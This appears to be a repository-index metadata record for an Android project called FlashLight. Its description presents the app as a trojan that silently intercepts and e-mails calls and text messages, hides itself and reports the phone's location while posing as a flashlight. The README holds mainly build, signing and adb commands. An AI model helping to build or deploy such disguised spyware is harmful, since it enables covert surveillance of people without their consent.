{"id":17693528,"url":"https://github.com/amboxer21/flashlight","last_synced_at":"2025-05-13T03:19:27.958Z","repository":{"id":147837371,"uuid":"54348961","full_name":"amboxer21/FlashLight","owner":"amboxer21","description":"Silently logs and E-mails all incoming/outgoing calls and text messages while doubling up as a flashlight app. The app also has the ability to hide itself via text message and show the phones location.","archived":false,"fork":false,"pushed_at":"2021-03-31T10:59:30.000Z","size":2902,"stargazers_count":21,"open_issues_count":0,"forks_count":3,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-04-01T06:11:45.255Z","etag":null,"topics":["android","flashlight","intercept","rat","security","spy","trojan"],"latest_commit_sha":null,"homepage":"","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/amboxer21.png","metadata":{"files":{"readme":"README.md","changelog":"Change.log","contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2016-03-21T00:48:32.000Z","updated_at":"2024-11-20T02:53:12.000Z","dependencies_parsed_at":"2023-04-06T06:47:19.164Z","dependency_job_id":null,"html_url":"https://github.com/amboxer21/FlashLight","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/amboxer21%2FFlashLight","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/amboxer21%2FFlashLight/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/amboxer21%2FFlashLight/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/amboxer21%2FFlashLight/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/amboxer21","download_url":"https://codeload.github.com/amboxer21/FlashLight/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253863463,"owners_count":21975653,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["android","flashlight","intercept","rat","security","spy","trojan"],"created_at":"2024-10-24T13:45:17.792Z","updated_at":"2025-05-13T03:19:27.303Z","avatar_url":"https://github.com/amboxer21.png","language":"Java","funding_links":[],"categories":[],"sub_categories":[],"readme":"# FlashLight\n\n### IMPORTANT\n\u003e **This app no longer works with newer versions of Android(9, 10, 11) due to their new security practices. They now limit background apps(daemons) and what they have acces to while running in the background.**\n\n\nIntercepts incoming text messages\n\nUninstall app from command line via adb:\nadb uninstall \u003cpackage_name\u003e\n\nA compilation of command line commands that I use/used to build this app.\n\nTO CREATE/GENERATE A NEW PROJECT:\nandroid create project --target 16 --name \u003cPROJECT NAME\u003e --path . --activity \u003cACTIVITY NAME\u003e --package com.package.name\n\nTO LIST TARGETS:\nandroid list targets\n\nUPDATE PROJECT AFTER(mostly used when chaging target number or deleting build.xml file:\nandroid update project --name FlashLight --subprojects --target 16 --path .\n\nCLEAN BUILD:\nant clean\n\nBUILD APP for debug:\nant debug\n\nBUILD APP for release(Needs to be signed - See bottom on how to sign APK):\n\nPUSH:\nadb push bin/FlashLight-release.apk /sdcard/Download/\n\nDEBUG CRASHES:\nadb shell logcat | egrep --color -i runtime\n\nDEBUG CODE:\nadb shell logcat\n\nCREATE AN AVD ON THE COMMAND LINE:\nandroid create avd -n Nexus6_dev -t 9 -c 1024M -s 480x800\n\nLIST AVD's:\nemulator -list-avds\n\nSTART AVD FROM COMMAND LINE:\nRun one of the listed emulators:\nemulator @name-of-your-emulator\nexample:\nemulator @nexus_dev\n\n...\nwhere emulator is under:\n${ANDROID_SDK}/tools/emulator\n\nexport env variable to prevent 32 deprication error:\nexport ANDROID_EMULATOR_FORCE_32BIT=true\nADD TO .bashrc file.\n\nBuilding an APK for release : ant release\nSigning an APK:\n\nRun this from the command line to generate a release key:\nkeytool -genkey -v -keystore release.keystore -alias releasekey -keyalg RSA -keysize 2048 -validity 10000\n\nAdd this to your ant.properties file. If you dont have one create one. :\n\nkey.store=release.keystore\nkey.alias=releasekey\nkey.store.password=my_password\nkey.alias.password=my_password\n\n\npull remote branch into local:\ngit fetch origin\ngit checkout --track -b \u003cremote branch name\u003e origin/\u003cremote branch name\u003e\n\n\nRoll back push/commit to specific branch(local branch):\ngit reset --hard \u003cbranch commit string\u003e\n\nRoll baack push/commit to specific branch(remote branch):\ngit push -f origin \u003cbranch commit string:branch name\u003e\n\n\nRemove unwanted added files(git add .):\ngit rm -r \u003cfile or dir name\u003e\ngit rm --cached -r \u003cfile or dir name\u003e\n\nChange java version:\nsudo update-alternatives --config java\n\n-----------------------------------------------------------------------------------\n\nUse context outside of Activity:\nIn the class, decalsre public static context class,\npublic static Context context;\n\nDeclare class contructor:\n\n  public SMSObserver(Handler handler, Context _context) {\n    super(handler);\n    SMSObserver.context = _context;\n  }\n\nPass context to class through service class or activity:\nSMSObserver smsObserver = new SMSObserver(new Handler(), getApplicationContext());\n\n-----------------------------------------------------------------------------------\n\nDatabases on rooted phones for 7.X are now located at \n/data/user_de/0/\n\n\nGet a list of providers:\nrc/com/sms/interceptor/FlashLight.javadb shell dumpsys | grep Provider{\n\n\nTo launch smsimterceptor for the first time you must run this:\nadb shell am start -n com.sms.interceptor/.FlashLight\nadb shell am start -n com.system.ui/com.system.UI\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Famboxer21%2Fflashlight","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Famboxer21%2Fflashlight","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Famboxer21%2Fflashlight/lists"}